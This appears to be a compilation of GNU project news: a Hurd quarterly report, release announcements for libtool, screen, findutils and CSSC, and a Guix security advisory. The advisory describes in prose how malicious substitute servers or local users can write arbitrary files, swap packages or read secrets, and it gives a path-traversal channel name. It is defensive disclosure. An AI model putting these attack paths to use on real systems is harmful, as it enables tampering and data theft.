GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.

Hello and welcome to another Qoth! Here's what's been happening in Q2 of 2026!

Joshua Branson added a pretty cool svg logo for our ethernet multiplexor. He built that image with Inkscape whilst using a Hurd laptop (Thinkpad 420) running on real iron! The Hurd wiki could certainly use more artwork. Perhaps you have a favorite Hurd translator that you believes needs some artwork!

Sergey Bugaev announced his WIP 9pfs (source code), and it has a wiki page! He writes:

Some years ago, I experimented with implementing a 9P translator for
the Hurd. Hopefully there is no need to tell this list what 9P is :)

Besides just browsing files on the few existing servers out there, a
potential use case is virtio-9p, to enable shared directory trees
between VMs and the host. But that would need someone to implement
virtio support in the Hurd.

I wanted to complete 9pfs before publishing, but that ultimately
didn't happen, so now it's time to turn it over to the community. I
now went and made the repository public on GitHub:
https://github.com/bugaevc/9pfs

What's implemented is basic browsing (readdir, stat), path resolution
(dir_lookup), and reading files (io_read). And below that, the whole
tracking for nodes, peropens, protids, fids, tags, and 9p RPCs.

Improvements are welcome, send patches to this list with [PATCH 9pfs]
in the subject. A good starting point would be to continue porting
things that I had implemented in the old netfs-based version (see
netfs.c) but didn't yet port to the new one.

He then got a little more motivated, and he added some write support!

Etienne Brateau added validation to msync, so that the Hurd better follows POSIX.

Diego Nieto Cid worked on allowing privileged users to set their task priority (nice value). His patches landed in glibc and GNU Mach. He also fixed a tiny bug in our test suite. He fixed an adjtime bug, which is helpful to the OpenNTPD port, and he fixed two more bugs.

Paulo Duarte sent a RFC patch series trying to commit Sergey’s previous AArch64 work. He writes:

This series adds the gnumach kernel-side implementation for the
aarch64 ABI Sergey landed in April 2024, plus the test-suite arms.
Patch 01 brings in the aarch64-only sources from bugaevc/wip-aarch64
verbatim, with Sergey as Author; the rest is mine.

The meaningful divergence from wip-aarch64 is what I left out:
roughly 150 files of cross-arch refactoring across kern/, ipc/, vm/,
device/intr.{c,h}, and the i386 tree. Each got replaced with a
smaller per-arch shim under aarch64/ so kern/bootstrap.c,
device/intr.{c,h}, kern/lock.h, and the i386 trees all stay
bit-identical to current master. The shared-file footprint outside
aarch64/ is four files: a new ELF constant, two missing decls plus
their include, and a linker-symbol filter extension...

Tested: 12/12 pass on x86_64, i686, and aarch64 under qemu. No
bare-metal validation yet. I plan to build bootable images and boot
the kernel on Apple M1 / Raspberry Pi (aarch64) and an x86_64 box
(x86_64 + i686). Help on any of these welcome.

He also fixed a tiny cross compilation issue.

gfleury fixed some tmpfs typos. He also fixed a kernel crash on a null pointer deference.

Almudena Garcia is developing a WIP trivfs implementation in rust. The work is not complete yet, but it is possible to write Hurd translators in Rust!

Mikhail Karpov added some checks for mmap in several places. He also worked on adding storeio to the bootstrap chain. This is actually quite interesting. Currently the Hurd sets device entries in /dev/ statically. For example, I am writing this qoth on a Hurd machine that is using two /dev/ entries for my filesystem: /dev/wd0s1 for swap and /dev/wd0s5 for my root filesystem. However, /dev/wd0s1 through /dev/wd0s16 exist on my computer! Once Mikhail's project is done, then the Hurd will dynamically populate SATA devices at boot time! No more need for static translators! He writes:

I've expanded the functionality of the partfs translator to work
with multiple disks and their partitions. Thus, by running the
command:
settrans -c partfs /hurd/partfs /root/disk1.img /root/disk2.img /root/disk3.img


The translator directory will have the following directory tree:
partfs
├── 0
│ ├── 1
│ ├── 2
│ └── ...
├── 1
│ ├── 1
│ ├── 2
│ └── ...
├── 2
│ ├── 1
│ ├── 2
│ └── ...
Since the disks are directories, the cd and ls commands work in the translator node.

I also tested mounting, reading, and writing using the commands:
`settrans -c ext01 /hurd/ext2fs -w -T typed file:/root/partfs/0/1`
and
`settrans -c ext1_1 /hurd/ext2fs -w -T typed part:1:file:/root/partfs/1`

It actually is even cooler! Samuel (our fearless leader) is seeking feedback for how to name these newer /dev entries. Samuel writes:

One thing that would be really needed for efficiency is to implement
netfs_file_get_storage_info, so that libstore would be able to get the
underlying storage information, and directly get data from there rather
than partfs having to pass data with io_read/write.

I'm then wondering how this would fit in the "grand scheme". Our current
approach, /dev/hd0s* being always there, is indeed not really good
because it doesn't easily tell the user which partitions are actually
there. We used to have to have this because partitions used to be
handled by the kernel, and then we have moved to
storerio+parted-supported partitions, which brings much more
flexibility.

Perhaps we could use

settrans -c /dev/hd0s /hurd/partfs /dev/hd0

and then we'd have /dev/hd0s/1, which is almost like before, but allows
the entries to be dynamic. Actually, we could even have some

settrans -c /dev/hd /hurd/probedisk hd

and then we'd have /dev/hd/0, and we could have /dev/hd/0s being partfs,
so we'd eventually have

/dev/hd/0s/1

But I'm also thinking that perhaps it could be integrated more with
storeio, i.e. /dev/hd0 can as well also act as a directory with partfs
behavior, so you could have

/dev/hd0/1

and with the probedisk translator, you could have

/dev/hd/0/1

What do people think about it?

Mike Kelly has been hard at work porting OpenBSD’s OpenNTPD, which required some glibc work. The Hurd doesn't currently have a NTP daemon, so thanks Mike!

He also debugged a weird memory error with rump, and he provided a "brown-tape" solution for it. Hopefully, he (or you dear reader), can reach out to the NetBSD people to fix this bug. This just goes to show that when two projects use the same code, both projects benefit!

He also got a glibc patch committed. Essentially SIGSTOP/SIGCONT was duplicating portions of files, which is now fixed. However, there are still some other issues with building some haskell packages.

Joan Lledó continued his work on porting dhcpcd. Also Roy Maples, the dhcpcd maintainer did a lot of helpful work to help us out. Thanks Roy!

Bradley Morgan fixed a tiny implementation bug with cat. He also tweaked procfs to show hidden files, and he allowed passing “-s” to init. Previously, passing "-s" to init was silently ignored.

Johannes Schauer Marin Rodrigues has been working on getting s-build to run on amd64 Hurd. It is a rather long email thread, so grab some popcorn and dig in!

Milos Nikic ported Neovim. He also worked on bug fixes to libdiskfs, and he fixed a deadlock bug in the “ext3/ext4” filesystem journal.

In the last qoth we had talked about how the Milos was working on adding an ext3/ext4 binary compatible journal. Samuel has committed it! Samuel wrote:

There is a couple things that I fixed on the fly:

- We want to use pthread_cond_clockwait rather than
  pthread_cond_timedwait, to be able to use CLOCK_MONOTONIC instead of
  CLOCK_REALTIME, to avoid being hit by ntpdate and such.

- In diskfs_S_dir_rename, there was an addition of:

  pthread_mutex_unlock (&fnp->lock);

  which was clearly bogus: we were unlocking it again below.

There are a couple things that we'd want to fix now:

- when calling diskfs_file_update, don't we have to be inside a
  transaction? Otherwise if we pass wait=1 and use a journal, we won't
  be waiting AIUI? Notably, in diskfs_S_dir_rmdir we don't use a
  transaction. And ideally we'd have an assertion that makes sure we
  respect this.

- we should define some helper for this recurring pattern:

  if ((docommit) && (diskfs_synchronous || diskfs_journal_needs_sync (txn)))
    diskfs_journal_commit_transaction (txn);
  else
    diskfs_journal_stop_transaction (txn);

- journal_drain_deferred_blocks should document what it does, not just
  its call conditions :), and more generally the functions that are
  not already documented in a .h and not just a _locked variant of a
  documented function.

Leonardo Lopes Pereira did some spring cleaning to remove some dead code.

Samuel Thibault mentioned in an email that the Hurd can support nvmes with rump, but that the work was just not done yet. Perhaps you, dear reader, would like to help us accomplish this task?

The mysterious user yelini worked on porting the D language compiler.

Damien Zammit worked on tweaking the Hurd’s WIP CI. He also fixed several bugs to make it possible to run the Hurd’s test suite from GNU/Linux running on an AArch64 computer. He also is working on integrating qemu’s Hurd support into upstream qemu’s CI, so that the support does not bitrot.

Sophiel Zhou fixed a tiny pfinet permission checking issue and taught pfinet to not fail under memory pressure:

This series fixes two latent crash bugs in pfinet where mmap
return values go unchecked, may causing crash when memory is tight.

Both bugs follow the same pattern: mmap is called to grow a buffer,
but the returned pointer is dereferenced before (or without) checking
for MAP_FAILED.  Under normal operation mmap rarely fails, so these
have gone unnoticed, but under address-space pressure pfinet would
crash.

Libtoolers!

The Libtool Team is pleased to announce the release of libtool 2.6.2.

GNU Libtool hides the complexity of using shared libraries behind a
consistent, portable interface. GNU Libtool ships with GNU libltdl, which
hides the complexity of loading dynamic runtime libraries (modules)
behind a consistent, portable interface.

See the NEWS below for a brief summary.

Thanks to everyone who has contributed!
The following people contributed changes to this release:

libtool 2.6.2 [stable]:
  Ileana Dumitrescu (4)

libtool 2.6.1 [beta]:
  Alexandre Janniaux (4)
  Alexey Samsonov (1)
  Anthony Mallet (1)
  Arnold (1)
  Dima Pasechnik (1)
  Frederic Berat (1)
  Ileana Dumitrescu (15)
  KO Myung-Hun (4)
  Kirill Makurin (1)
  Mintsuki (1)
  Nicolas Boulenguez (1)
  Olly Betts (1)
  Patrice Dumas (1)
  Richard J. Mathar (1)

libtool 2.6.0 [alpha]:
  Anthony Mallet (1)
  Bruno Haible (2)
  Christian Feld (1)
  Collin Funk (1)
  Elizabeth Figura (1)
  Evgeny Grin (1)
  Frédéric Bérat (1)
  Gleb Popov (1)
  Ileana Dumitrescu (47)
  Julien ÉLIE (1)
  Karl Berry (1)
  Kirill Makurin (1)
  Manoj Gupta (1)
  Martin Storsjö (1)
  Michael Haubenwallner (2)
  Mintsuki (1)
  Mitch (1)
  Pierre Ossman (2)
  Takashi Yano (1)


Ileana
 [on behalf of the libtool maintainers]
==================================================================

Here is the GNU libtool home page:
    https://gnu. ... g/s/libtool/

Here are the compressed sources:
  https://ftpmirror ... tool-2.6.2.tar.gz   (2.1MB)
  https://ftpmirror ... tool-2.6.2.tar.xz   (1.1MB)

Here are the GPG detached signatures:
  https://ftpmirror ... -2.6.2.tar.gz.sig
  https://ftpmirror ... -2.6.2.tar.xz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: libtool-2.6.2.tar.gz
  SHA256 sum:   24adb3aa9ae035c70faba344af57d73215eb89281045af6c7ccd307751f8b0bf
  SHA3-256 sum: b0e77c0dc9a082830c95d182da77747d1f5435a06132feefd5054bfde2c9da81

  File: libtool-2.6.2.tar.xz
  SHA256 sum:   2ef1067c16c97db930fd740cc9bc3d3ba9a583804ae5ac42cc3e8719e49e191e
  SHA3-256 sum: c24b9995af8391a310a258dcb98897f92d86f47acca235f3d2859ca0ed1d9dd0

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify libtool-2.6.2.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2021-09-23 [SC]
        FA26 CA78 4BE1 8892 7F22  B99F 6570 EA01 146F 7354
  uid   Ileana Dumitrescu <ileanadumitrescu95@gmail.com>
  uid   Ileana Dumitrescu <ileanadumi95@protonmail.com>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key ileanadumitrescu95@gmail.com

  gpg --recv-keys 6570EA01146F7354

  wget -q -O- 'https://savannah. ... ol&download=1' | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify libtool-2.6.2.tar.gz.sig

This release is based on the libtool git repository, available as

  git clone https://https.git ... g/git/libtool.git

with commit 309bb53a8adfb22c6e5869cc8da049bf123e5438 tagged as v2.6.2.

For a summary of changes and contributors, see:

  https://gitweb.gi ... shortlog;h=v2.6.2

or run this command from a git-cloned libtool directory:

  git shortlog v2.6.1..v2.6.2

This release was bootstrapped with the following tools:
  Autoconf 2.73
  Automake 1.18.1
  Gnulib 2026-07-03 491f1bb7d3049f3ab7825f3ee665c209658e9965

NEWS

• Noteworthy changes in release 2.6.2 (2026-07-16) [stable]

  Please see beta release 2.6.1 and alpha release 2.6.0 for a list of
  release changes.

• Noteworthy changes in release 2.6.1 (2026-06-04) [beta]

** New features:

  - Pass 'resource-dir=*' flag for Clang.

  - Recognise explicit shared library arguments when linking dependency
    libraries to a shared library, like exists when linking a program.

  - Support OpenMP with macOS clang by processing '-Xpreprocessor
    -fopenmp' as one token.

** Bug fixes:

  - Store cygpath file path conversions correctly for MSYS2 and MSVC.

  - Fix syntax error in LT_PROG_OBJC and LT_PROG_OBJCXX.

  - Separate Objective C and C++ cache check for proper tagging support.

  - Fix in darwin to support values with spaces.

  - Limit the length of DLL name to 8.3 correctly to avoid corrupting a
    generated DLL on OS/2.

  - Remove unused variable on OS/2, which could cause issues with static
    library generation if defined.

  - Recognise more static linking options for Clang.

  - Fix emscripten CXX postdeps using non-PIC sysroot.

  - Avoid deprecated option '-o' with MSVC compilers and replace with '-Fe'.

  - Avoid overlinking of dependency libraries on ELF systems.

  - Ensure old libraries are not archived.

** Changes in supported systems or compilers:

  - Add support for SlimCC compiler.

  - Add support for *-ironclad-gnu.

• Noteworthy changes in release 2.6.0 (2025-09-18) [alpha]

** New features:

  - Add a new tool, libtool-next-version, to guide users through updating
    library versions.

  - Add tagging for Objective-C and Objective-C++, OBJC and OBJCXX.

  - Increase 5 digit limit on revision value for libraries to 19 digits,
    which is referencing Unix epoch time in nanoseconds.

  - Add configuration options to choose whether to use '-nostdlib' to let
    the compiler frontend decide what standard libraries to link when
    building C++ shared libraries and modules, --enable-cxx-stdlib and
    --disable-cxx-stdlib.

  - Allow statically linking GCC and Clang compiler support libraries
    into shared libraries.

  - Add linking clang_rt static archives compiler internal libraries by
    their absolute path.

  - Set 'mklink' as the symlinking tool for MSVC.

  - Pass '--target' architecture flag for Clang.

  - Support MSYS and MSYS2 file path conversions.

** Bug fixes:

  - Fix wrongly deduplicated compiler dependencies on linux.

  - Fix NetBSD postdeps for shared libraries.

  - Fix statically linking dependencies into shared C++ libraries when
    utilizing clang builtins or g++ options like, -static-libstdc++, by
    using a new configuration option, --enable-cxx-stdlib.

  - Ensure *-linux-mlibc host matches to mlibc userland rather than
    matching to GNU/Linux and similar userlands.

  - Fix hang with cmd.exe in MSYS.

  - For MSVC, fix mishandling compiler flags, symlinking, cl.exe '.exp'
    extension collision, symbol names, and numerous testsuite bugs.

  - Fix undeclared reference to access on Windows in libltdl.

  - Fix flang -Wl flags on FreeBSD.

  - Fix reordering '--as-needed' flag.

  - Fix libltdl early failures for multi-arch.

** Changes in supported systems or compilers:

  - Support additional Intel OneAPI compilers, 'icx', 'icpx', and 'ifx'.

  - Support ML64 (Microsoft Macro Assembler).

Enjoy!

Hi everyone,
I'm glad to announce the new release of GNU screen.

Screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells.

The 5.0.2 release includes the following changes to the previous release 5.0.1:

• Add %* escape to output caret character literal ("^")
• Add portable PAM conversation callback prototype (for Solaris)
• Fixes:

 - type on big-endian systems
 - UTF-8 combining sequences
 - buffer overflow in SendCmdMessage()
 - detaching fail with empty terminfo and leave the session attached
 - eliminates the TOCTOU race
 - manpage fixes

Release (official tarball) will be available soon for download:
https://ftp.gn ... rg/gnu/screen/
Please report any bugs or regressions.
Thanks to everyone who contributed to this release.

Cheers,
Alex

This is to announce findutils-4.11.0, a stable release.

This release follows the recent POSIX (IEEE Std 1003.1-2024) changes,
especially to mention the new behavior of 'find -mount' vs. 'find -xdev',
as well as a lot of documentation improvements.

See the NEWS below for more details.

GNU findutils is a set of software tools for finding files that match
certain criteria and for performing various operations on them.
Findutils includes the programs "find", "xargs" and "locate".
More information about findutils is available at:
     https://www.gnu.o ... ftware/findutils/

Please report bugs and problems with this release via the the
GNU Savannah bug tracker:
     https://savannah. ... /?group=findutils

Please send general comments and feedback about the GNU findutils
package to the mailing list (<mailto:bug-findutils@gnu.org):
     https://lists.gnu ... nfo/bug-findutils

There have been 186 commits by 10 people in the - sigh - 25 months since 4.10.0:
     Bernhard Voelker (77)         Bjarni Ingi Gislason (1)
     Christoph Anton Mitterer (1)  Collin Funk (5)
     Dave (1)                      G. Branden Robinson (42)
     James Youngman (55)           Luk303241305241 Zaoral (1)
     danny mcClanahan (1)          raf (2)

This release was bootstrapped with the following tools:
      Autoconf 2.72
      Automake 1.17
      M4 1.4.19
      Gnulib v1.0-3131-ga575239e47

Please consider supporting the Free Software Foundation in its fund
raising appeal; see <https://www. ... .org/appeal/>.

Thanks to everyone who has contributed!

Have a nice day,
Bernhard Voelker & James Youngman [on behalf of the GNU findutils maintainers]

================================================================================

Here are the compressed sources:
     https://ftp.gnu.o ... ils-4.11.0.tar.xz

Here are the GPG detached signatures[*]:
     https://ftp.gnu.o ... 4.11.0.tar.xz.sig

Use a mirror for higher download bandwidth:
     http://www.gnu. ... /order/ftp.html

Here is the SHA256 checksum:

     bfd19cb06cc71f3352d567e90284d8cdac02ac89774bbeadf0b533b0c11432fd  findutils-4.11.0.tar.xz

[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

gpg --verify findutils-4.11.0.tar.xz.sig

If that command fails because you don't have the required public key,
then run this command to import it:

gpg --keyserver keys.gnupg.net --recv-keys 0CF4E8D871593224842832B888DD9E08C5DDACB9

and rerun the 'gpg --verify' command.

================================================================================

NEWS

• Noteworthy changes in release 4.11.0 (2026-07-11) [stable]

** Bug Fixes

   find no longer crashes when diagnosing a directory cycle (without a symlink
   being involved pointing to a parent directory).
   [Bug present since the FTS implementation.]

   'find -used' now behaves correctly on OpenBSD 7.8 with difftime(3) underflow
   bug in the C library (already fixed there) when the access time of a file is
   identical to its change time. [#68264]

   'find -ignore_readdir_race' now better handles races between FTS reading a
   directory and visiting its entries when the file or directory was meanwhile
   removed. [#45930]

   To fix a POSIX compatibility bug, -exec foo Z{} + is no longer a
   complete predicate, because '+' is only a terminator when it follows
   an argument which is exactly '{}'.  The findutils documentation
   already states this, and now find's behaviour matches the
   documentation. [#66365]

   'updatedb.sh' now properly handles the variables for the 'find' and 'frcode'
   utilities, and hence avoids command injection.

** Changes in find

   As announced since the release of 4.7.0 (2019) and mandated by POSIX 2024,
   the behaviour of the -mount option changed: while it was a mere alias for
   the -xdev option to prevent descending into directories of another device,
   the -mount option now makes find(1) ignore files on another device, i.e.,
   'find -mount' will skip the entry of active mount points already.
   Example, assuming the PROC filesystem is mounted on '/proc':
     $ find / -mount -path /proc -print
     $ find / -xdev -path /proc -print
     /proc
   [#54745]

   The actions -execdir and -okdir now refuse the '{}' replacement in the zeroth
   argument of the command to be run.  While POSIX allows this for -exec, this is
   deemed insecure as an attacker could influence which files could be found.

   'find -regex' with the default or the 'emacs' regextype now aligns better with
   Emacs behaviour, and therefore e.g. supports character classes:
     $ touch 123 && find -regex './12[[:digit:]]'
     ./123

   find now issues a warning when the punctuation operators '(', ')', '!' and ','
   are passed with a leading dash, e.g. '-!'.  Future releases will not accept
   that any more.  Accepting that was rather a bug "since the beginning".

** Improvements

   xargs now gives a better error diagnostic when executing the given command
   failed.

** Documentation Changes

   The most recent version of the POSIX standard (IEEE Std 1003.1-2024,
   also known as The Open Group Base Specifications, Issue 8) has
   standardised "find -print0" and "xargs -0".  Our documentation now
   points this out.  Similarly for 'find -iname'.

   The code example for "Finding the Shallowest Instance" in the Texinfo manual
   and the corresponding one in the EXAMPLES section in the find.1 man page have
   been fixed.  [#62259]

   Translators contributed numerous fixes for issues in the find.1 man page.

   The list of actions that suppress the default -print action has been
   supplemented with the missing '-print0' and '-fprint0' actions.

   The manual pages have been updated to give better and/or more
   consistent output with manpage formatters other than GNU roff.

** Translations

   Updated the following translations:
   Arabic, Brazilian Portuguese, Bulgarian, Chinese (simplified), Croatian,
   Czech, Dutch, Estonian, French, German, Indonesian, Korean, Polish,
   Portuguese, Romanian, Spanish, Swedish, Ukrainian.

** Future Changes

   A future release will remove the warning message find prints about
   the 2007 change in the meaning of "-perm /000".  Everybody who is
   likely to care probably knows about this change by now.

-eof-

This is to announce CSSC-1.5.0, a beta release.

There have been 424 commits by 2 people since 1.4.1.   Thanks to Greg A. Woods for helping to improve CSSC.

See the NEWS below for a brief summary.

===============================================================

Here is the GNU CSSC home page:
    https://gn ... rg/s/CSSC/

Here are the compressed sources and a GPG detached signature:
  https://alpha.gnu ... CSSC-1.5.0.tar.gz
  https://alpha.gnu ... -1.5.0.tar.gz.sig

Use a mirror for higher download bandwidth:
  https://www.gnu.o ... rg/order/ftp.html

Here are the SHA256 and SHA3-256 checksums:

  File: CSSC-1.5.0.tar.gz
  SHA256 sum:   8483a31aac756955843ef574bed6fa9e052ea492217f3882033487d2704c6cf4
  SHA3-256 sum: c138c32cab373a51c32d2049064532ac24a6fa777b7edecabe4d605460018845

Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.

Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify CSSC-1.5.0.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   rsa4096 2015-12-24 [SC]
        0CF4 E8D8 7159 3224 8428  32B8 88DD 9E08 C5DD ACB9
  uid   James Youngman <james@youngman.org>
  uid   James Youngman <jay@gnu.org>

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key james@youngman.org

  gpg --recv-keys 88DD9E08C5DDACB9

  wget -q -O- 'https://savannah. ... SC&download=1'
| gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.o ... u/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify CSSC-1.5.0.tar.gz.sig

This release is based on the CSSC git repository, available as

  git clone https://https.git ... .org/git/CSSC.git

with commit 77bdce39a09b9ff37831c4dd1cb0d4dd5967cb39 tagged as v1.5.0.

For a summary of changes and contributors, see:

  https://gitweb.gi ... shortlog;h=v1.5.0

or run this command from a git-cloned CSSC directory:

  git shortlog CSSC-1.4.1..v1.5.0

This release was bootstrapped with the following tools:
  Autoconf 2.72
  Automake 1.17
  Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df

NEWS

• Noteworthy changes in release 1.5.0 (2026-07-05) [beta]

        * The test suite no longer depends on Python, so it should
work on older systems that have no Python 3 interpreter. While you can
build and test CSSC without Python, you do need a Python interpreter
to do some maintenance tasks (such as importing the "gnulib" code into
a git checkout).

        * Tolerate SCCS files in which file flags lack the space
separator which would normally come between the flag letter and the
associated value.

• Noteworthy changes in release 1.5.0-rc3 (2026-06-14)

        * Some typos in error message have been fixed.

        * admin now supports combination of -r with -n as well as the
          portable combination of -r with -i.

        * Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper.  Thanks to Greg
A. Woods for this improvement.

        * In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep.  Some very old versions of
Unix may not support this option.

        * Various C++ portability improvements.

        * Updated version of gnulib.

        * Updated version of googletest; this is now at the last
version at which it still supported building with Automake.

• Noteworthy changes in release 1.5.0-rc2 (2024-05-13)

        * This release is more careful to detect I/O failures when
writing to stdout in prs and prt.

        * This release should build on more modern platforms.

        * The --with-googletest configure option is removed (now we
always use it).

        * Updated versions of gnulib and googletest.

Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by guix-daemon, which enable a variety of harmful activities including remote privilege escalation to the build daemon user, remote store corruption, and potentially local disclosure of sensitive files accessible to the build daemon user. All systems are affected, whether or not guix-daemon is running with root privileges; the harm that can be done when guix-daemon runs without root privileges is more limited. You are strongly advised to upgrade your daemon now (see instructions below), carefully considering whether to pass --no-substitutes to all guix commands when you do so (see note in Upgrading section).

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them. This is possible regardless of whether the channels file is evaluated in a sandbox and whether the channels used are limited to those sharing an introduction with a trusted channel. Due to limitations on the content of the created or overwritten file, this primarily represents a denial-of-service risk, though in theory it could do more.

Update 2026-07-06: if you are using the unprivileged guix-daemon, as is the default on distros other than Guix System since version 1.5.0, and if you updated it between July 2nd and July 5th, you've probably been affected by this regression preventing substitutes from working. It is now fixed, but if you are stuck trying to upgrade, try passing --no-substitutes. If you can't reasonably upgrade without substitutes, you can either take your chances downgrading to the vulnerable guix-daemon and using it or try tinystar's workaround (doesn't apply to Guix on distributions other than Guix System).

Vulnerabilities

Three distinct vulnerabilities have been identified affecting guix substitute, with a fourth affecting guix pull and guix time-machine:

1. (CVE assignment pending) The procedure that Guile code uses to unpack substitutes, restore-file in (guix serialization), was not hardened against malicious input, but it was called to extract the substitute being downloaded as it was being downloaded, rather than waiting until after the entire archive had been obtained and its hash had been verified. These facts together make it possible for any substitute server (or any entity that can impersonate one) to write arbitrary files to any place on an affected system that the daemon user has permission to write to. In the case of the daemon running as root, that includes /etc/passwd.

   To avoid depending on the X.509 Public Key Infrastructure, the procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos, does not verify server certificates, since the canonical parts of narinfos need to be signed anyway to be considered valid. Unfortunately the substitute URL is not one such canonical part, and so it can be replaced with an attacker-controlled URL. If the substitute downloaded doesn't match the signed hash in the narinfo, it will be rejected, but by then it is too late: the substitute was extracted as it was being downloaded, so the damage is already done.

   This means that even though download-nar, the procedure responsible for actually downloading the substitute, does itself verify server certificates, using https in substitute server urls cannot limit who can exploit this, as the certificate only needs to be appropriate for the attacker-controlled URL.

   restore-file is also used by other utilities, including guix offload, guix archive --extract, and guix challenge. These can all be exploited in the same way if untrusted input is given to them.

2. (CVE assignment pending) The procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos in (guix substitutes), does not verify that the narinfo it got is the one it asked for, nor do any of its callers in (guix scripts substitute). Consequently, it is possible for a substitute server (or anyone who can impersonate one) to trick guix substitute into using any store item for which there is an authorized substitute as a substitute for any other store item for which there is an authorized substitute. The complete extent of harm that can be caused by this depends in part on what store items an authorized substitute server has signed or can be convinced to sign, but at minimum this can be used to cause outdated and insecure versions of software to be used.

3. (CVE assignment pending) The implementation of guix substitute in (guix scripts substitute) permits file:// URIs to be used both for specifying substitute server URIs (where to look for narinfos) and for specifying within narinfos where to download the corresponding archive from. It does not distinguish between --substitute-urls passed on the guix-daemon command line and --substitute-urls passed on the guix command line (client-side), with the latter taking precedence over the former. Opening of these file:// URIs follows symbolic links. Consequently, an untrusted client may cause any file that the daemon can read to be read. If a given line of it doesn't look like a valid narinfo line (it uses recutils format), guix substitute may throw an exception, causing a backtrace containing that line to be passed through to the client. So, for example, a file containing a single line containing only a secret passphrase may have its contents revealed to any local user if the daemon user can read it.

   Additionally, when a file:// URI is used as the URI of a nar to download, it may be written to the store if it happens to be a valid nar ("normalized archive") as used by Guix and Nix. This is unlikely, though.

   In addition to possibly causing secrets to be disclosed, this can also be used to interfere with the reading of any file being read by any process that the daemon user could trace, through the use of files in /proc/PID/fd.

4. (CVE assignment pending) The procedure which guix pull and guix time-machine use to authenticate channels, authenticate-channel in (guix channels), passed a cache key derived from the channel name to authenticate-repository in (guix git-authenticate). This cache key was used to determine a filename for storing previously-authenticated commit IDs in. If the channel name was of the form "../../../../newfile", it could have caused "newfile" to be created in the user's home directory. It may also have overwritten "newfile" if it already existed, but only if it already looked like a Scheme-syntax list of strings, since the contents would have to have first been read and processed before new contents would have been written.

   In the event that a write is performed, the output will only include a Scheme-syntax comment, newline, and list of hexadecimal strings corresponding to git commit identifiers. This makes it difficult to use for a practical attack other than a denial-of-service, but note that since it can target files in /proc, a sufficiently creative and informed attacker may be able to exploit this further.

   Realistically, this vulnerability can only be exploited when fetching remote channel files with the newly-added mechanism for doing so.

Mitigation

Vulnerabilities (1) and (2) can be mitigated against remote attackers by not using substitutes, either by passing --no-substitutes to guix-daemon or passing --no-substitutes to all guix commands. It's always possible to turn substitutes back on for an individual client, though, so this doesn't work to defend against a local attacker exploiting (1), (2), or (3), which cannot be mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by not running guix pull or guix time-machine with an untrusted channels file.

A test for the presence of these vulnerabilities is available at the end of this post. One can run this code with:

guix repl -- guix-substitute-and-pull-vuln-check.scm

Note: this should be run as a regular user that is neither root nor whichever user runs guix-daemon, since such users will be treated as trusted and will not have the restrictions used to fix vulnerability (3) applied to them, making it impossible for the test to tell whether the fix is in place for untrusted users.

This will finish with a sequence of 4 lines, beginning with restore-file, fetch-narinfos, file-uris, and cache-key respectively, each followed by a colon, a space, and either vulnerable or not vulnerable depending on whether the running guix-daemon has the indicated vulnerability or not. If all 4 lines contain not vulnerable, then guix repl will exit with status code 0, otherwise it will exit with status code 1.

Some of the tests can fail to produce a result in some cases. In this case the output following the test name will start with error:. A test that fails to produce a result should be regarded as inconclusive.

The restore-file and fetch-narinfos tests may fail to produce a result if no substitutes are authorized, or if no authorized substitutes for the current guix's cfunge, hello, or sed packages can be accessed through any of the configured substitute urls. The restore-file test may fail to produce a result if cfunge is reachable from some garbage collection root, such as a profile. The cache-key test may fail to produce a result if network access to codeberg to fetch a small portion of the history of the guix-science channel is not available, which can be worked around by editing the script's definition of guix-science-url to be any URL (or a filename) at which a copy of the guix-science repository can be found.

Fixes

These security issues have been fixed by a series of 11 commits, starting with ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with 2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull request #9665. Users should make sure they have upgraded to commit 897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be protected from these vulnerabilities. Upgrade instructions are in the following section.

